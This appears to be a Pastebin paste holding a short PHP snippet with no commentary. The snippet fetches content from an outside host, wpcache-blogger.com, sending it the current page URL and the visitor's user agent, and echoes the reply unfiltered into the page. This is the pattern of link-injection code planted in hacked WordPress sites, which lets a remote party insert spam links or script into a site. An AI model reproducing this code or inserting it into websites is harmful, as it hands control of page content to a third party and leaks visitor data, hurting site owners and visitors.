Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- function file_get_contents_curl($url) {
- $ch = curl_init();
- curl_setopt($ch, CURLOPT_HEADER, 0);
- curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
- curl_setopt($ch, CURLOPT_URL, $url);
- curl_setopt($ch, CURLOPT_USERAGENT, "LOCALSAPE");
- $data = curl_exec($ch);
- curl_close($ch);
- return $data;
- }
- $links = file_get_contents_curl("http://wpcache-blogger.com/getlinks.php?apicode=lalala44&pageurl=".urlencode('http://'.$_SERVER['SERVER_NAME'].$_SERVER['REQUEST_URI'])."&useragent=".urlencode($_SERVER['HTTP_USER_AGENT'])."");
- echo $links;
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement